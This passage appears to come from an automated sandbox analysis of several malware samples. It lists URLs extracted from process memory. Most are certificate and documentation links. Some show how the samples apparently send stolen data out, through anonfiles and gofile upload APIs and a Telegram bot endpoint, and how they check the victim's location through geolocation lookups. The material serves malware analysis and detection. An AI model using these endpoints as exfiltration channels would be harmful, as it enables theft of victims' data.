Source: skotes.exe, 00000003.00000003.5971400666.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7286155793.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7285940039.0000000001390000.00000004.00000020.00020000.00000000.sdmp, d0ef52de9f.exe, 0000005D.00000002.2765729301.0000000000A82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: D1UL0FG.exe, 00000005.00000003.2469091963.0000027326162000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
Source: D1UL0FG.exe, 00000006.00000003.2479810118.000001FA2E00B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf);
Source: FuturreApp.exe, 00000055.00000002.7280001721.0000000001011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp
Source: FuturreApp.exe, 00000055.00000002.7278981622.0000000000FD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp.
Source: FuturreApp.exe, 00000055.00000002.7278981622.0000000000FD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp?_8
Source: FuturreApp.exe, 00000055.00000002.7278981622.0000000000FD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspM
Source: FuturreApp.exe, 00000055.00000002.7280001721.000000000102A000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000055.00000003.4653304717.000000000102A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspSO#v
Source: FuturreApp.exe, 00000055.00000002.7278981622.0000000000FD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspS_T
Source: m9sfEU9.exe, 00000051.00000003.2634727930.0000000003045000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000055.00000002.7286857048.0000000011193000.00000002.00000001.01000000.00000023.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)
Source: FuturreApp.exe, 00000055.00000003.4653304717.0000000001011000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000055.00000002.7280001721.0000000001011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspt
Source: D1UL0FG.exe, 00000006.00000003.2581019615.000001FA2E324000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2490431085.000001FA2E324000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000002.2993719449.000001FA2E324000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2552764797.000001FA2E324000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2491071209.000001FA2E339000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://google.com/
Source: D1UL0FG.exe, 00000006.00000003.2581019615.000001FA2E2A8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2552764797.000001FA2E2AF000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000002.2993719449.000001FA2E2AF000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2490431085.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://google.com/mail/
Source: D1UL0FG.exe, 00000006.00000003.2581019615.000001FA2E2A8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2552764797.000001FA2E2AF000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000002.2993719449.000001FA2E2AF000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2490431085.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535
Source: D1UL0FG.exe, 00000006.00000002.2993365618.000001FA2E130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json/?fields=225545
Source: D1UL0FG.exe, 00000006.00000003.2481469057.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json/?fields=225545r
Source: D1UL0FG.exe, 00000006.00000002.2993365618.000001FA2E130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: D1UL0FG.exe, 00000006.00000003.2481469057.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hostingr=
Source: D1UL0FG.exe, 00000006.00000003.2481469057.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hostingr=r
Source: powershell.exe, 00000011.00000002.2798190076.0000028A95663000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000037.00000002.2733086227.0000021FA472A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000037.00000002.2733086227.0000021FA45E7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000037.00000002.2645286273.0000021F95ED9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: skotes.exe, 00000003.00000003.5971400666.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7284592983.0000000001310000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7286155793.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000002.3018342461.0000027326149000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469091963.0000027326162000.00000004.00000020.00020000.00000000.sdmp, d0ef52de9f.exe, 0000005D.00000002.2765729301.0000000000A82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: D1UL0FG.exe, 00000005.00000003.2468668439.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467263006.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466814520.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466518455.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467489215.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468479409.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466382775.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468064470.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466240727.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469715627.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466690493.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469405557.0000027326162000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2883846123.0000000003C00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: D1UL0FG.exe, 00000005.00000003.2467389313.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467043392.000002732616F000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469509352.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467043392.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468668439.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467263006.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466814520.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466518455.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467489215.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468479409.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466382775.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468064470.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466240727.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469715627.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466690493.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469405557.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469405557.000002732616F000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000002.3018342461.000002732616F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: D1UL0FG.exe, 00000005.00000003.2467389313.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467043392.000002732616F000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469509352.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467043392.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468668439.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467263006.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466814520.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466518455.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467489215.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468479409.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468357425.000002732616F000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466382775.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468064470.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468357425.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466240727.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469715627.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466690493.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469405557.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469405557.000002732616F000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000002.3018342461.000002732616F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: D1UL0FG.exe, 00000005.00000003.2468357425.000002732616F000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468357425.0000027326162000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0N
Source: D1UL0FG.exe, 00000005.00000003.2467389313.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469509352.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467043392.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467263006.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466814520.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466518455.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467489215.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468479409.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466382775.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468064470.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466240727.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469715627.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466690493.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469405557.0000027326162000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: D1UL0FG.exe, 00000005.00000003.2468668439.0000027326162000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0shtable_get
Source: D1UL0FG.exe, 00000005.00000003.2468668439.0000027326162000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0shtable_get_Py_hashtable_hash_ptr_Py_hashtable_new_Py_hashtable_new_full_Py
Source: 8ZVMneG.exe, 00000054.00000003.2883846123.0000000003C00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: skotes.exe, 00000003.00000003.5971400666.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7284592983.0000000001310000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7286155793.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7285940039.0000000001390000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469091963.0000027326162000.00000004.00000020.00020000.00000000.sdmp, d0ef52de9f.exe, 0000005D.00000002.2765729301.0000000000A82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: skotes.exe, 00000003.00000002.7284592983.0000000001310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0$
Source: D1UL0FG.exe, 00000005.00000002.3018342461.0000027326149000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigor
Source: D1UL0FG.exe, 00000005.00000003.2468357425.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469091963.0000027326162000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.thawte.com0
Source: powershell.exe, 00000037.00000002.2645286273.0000021F947A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: skotes.exe, 00000003.00000002.7284592983.0000000001310000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469283527.000002732616F000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469091963.0000027326162000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: skotes.exe, 00000003.00000002.7284592983.0000000001310000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469283527.000002732616F000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469091963.0000027326162000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s.symcd.com06
Source: m9sfEU9.exe, 00000051.00000003.2634727930.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: m9sfEU9.exe, 00000051.00000003.2634727930.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s2.symcb.com0
Source: powershell.exe, 00000011.00000002.2659507683.0000028A8581A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000011.00000002.2659507683.0000028A855F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000037.00000002.2645286273.0000021F94571000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000011.00000002.2659507683.0000028A8581A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: 8ZVMneG.exe, 00000054.00000003.2825503238.000000000136C000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2799816087.000000000136C000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: 8ZVMneG.exe, 00000054.00000003.2825503238.000000000136C000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2799816087.000000000136C000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: 8ZVMneG.exe, 00000054.00000003.2825503238.000000000136C000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2799816087.000000000136C000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: m9sfEU9.exe, 00000051.00000003.2634727930.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crl0f
Source: m9sfEU9.exe, 00000051.00000003.2634727930.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: m9sfEU9.exe, 00000051.00000003.2634727930.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcd.com0&
Source: D1UL0FG.exe, 00000006.00000002.2997186323.000001FA2E940000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc6125#section-6.4.3
Source: skotes.exe, 00000003.00000002.7284592983.0000000001310000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469283527.000002732616F000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469091963.0000027326162000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: D1UL0FG.exe, 00000005.00000003.2468357425.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469091963.0000027326162000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: skotes.exe, 00000003.00000002.7284592983.0000000001310000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469283527.000002732616F000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469091963.0000027326162000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: D1UL0FG.exe, 00000005.00000003.2468357425.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469091963.0000027326162000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: D1UL0FG.exe, 00000005.00000003.2468357425.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469091963.0000027326162000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: skotes.exe, 00000003.00000002.7284592983.0000000001310000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469283527.000002732616F000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469091963.0000027326162000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: powershell.exe, 00000037.00000002.2645286273.0000021F95CD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000037.00000002.2645286273.0000021F947A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: D1UL0FG.exe, 00000006.00000003.2483191115.000001FA2E348000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cl.cam.ac.uk/~mgk25/iso-time.html
Source: D1UL0FG.exe, 00000005.00000003.2467389313.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469509352.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467043392.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468668439.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467263006.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466814520.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466518455.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2467489215.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468479409.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466382775.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2468064470.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466240727.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469715627.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2466690493.0000027326162000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469405557.0000027326162000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: D1UL0FG.exe, 00000006.00000003.2581019615.000001FA2E2A8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2552764797.000001FA2E2AF000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000002.2993719449.000001FA2E2AF000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2490431085.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: D1UL0FG.exe, 00000006.00000002.2994686115.000001FA2E595000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoftISPLA~1.PNGy./
Source: m9sfEU9.exe, 00000051.00000003.2634727930.0000000003045000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000055.00000002.7287032107.00000000111E1000.00000004.00000001.01000000.00000023.sdmp	String found in binary or memory: http://www.netsupportschool.com/tutor-assistant.asp
Source: m9sfEU9.exe, 00000051.00000003.2634727930.0000000003045000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000055.00000002.7287032107.00000000111E1000.00000004.00000001.01000000.00000023.sdmp	String found in binary or memory: http://www.netsupportschool.com/tutor-assistant.asp11(
Source: m9sfEU9.exe, 00000051.00000003.2634727930.0000000003045000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000055.00000002.7287032107.00000000111E1000.00000004.00000001.01000000.00000023.sdmp	String found in binary or memory: http://www.pci.co.uk/support
Source: m9sfEU9.exe, 00000051.00000003.2634727930.0000000003045000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000055.00000002.7287032107.00000000111E1000.00000004.00000001.01000000.00000023.sdmp	String found in binary or memory: http://www.pci.co.uk/supportsupport
Source: D1UL0FG.exe, 00000006.00000003.2483191115.000001FA2E348000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm
Source: m9sfEU9.exe, 00000051.00000003.2634727930.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/cps0(
Source: m9sfEU9.exe, 00000051.00000003.2634727930.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/rpa00
Source: 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: 8ZVMneG.exe, 00000054.00000003.2883846123.0000000003C00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 8ZVMneG.exe, 00000054.00000003.2883846123.0000000003C00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: D1UL0FG.exe, 00000006.00000002.2997976129.000001FA2ECF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://MD8.mozilla.org/1/m
Source: 8ZVMneG.exe, 00000054.00000003.2830589493.0000000003B89000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2829507445.0000000003B89000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2829086313.0000000003B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: D1UL0FG.exe, 00000006.00000002.2997976129.000001FA2ED50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: powershell.exe, 00000011.00000002.2659507683.0000028A855F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000037.00000002.2645286273.0000021F94571000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: D1UL0FG.exe, 00000006.00000002.2997976129.000001FA2ECB8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: D1UL0FG.exe, 00000006.00000002.2993365618.000001FA2E130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.anonfiles.com/upload
Source: D1UL0FG.exe, 00000006.00000003.2481469057.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.anonfiles.com/uploadrV
Source: D1UL0FG.exe, 00000006.00000002.2993365618.000001FA2E130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.gofile.io/getServer
Source: D1UL0FG.exe, 00000006.00000003.2481469057.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.gofile.io/getServerr=
Source: D1UL0FG.exe, 00000006.00000003.2481469057.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.gofile.io/getServerr=r
Source: skotes.exe, 00000003.00000002.7286155793.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7284592983.0000000001325000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7286155793.0000000001402000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/transfer.aspx
Source: 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: D1UL0FG.exe, 00000006.00000002.2993365618.000001FA2E130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot%s/%s
Source: D1UL0FG.exe, 00000006.00000003.2481469057.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot%s/%s)
Source: 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
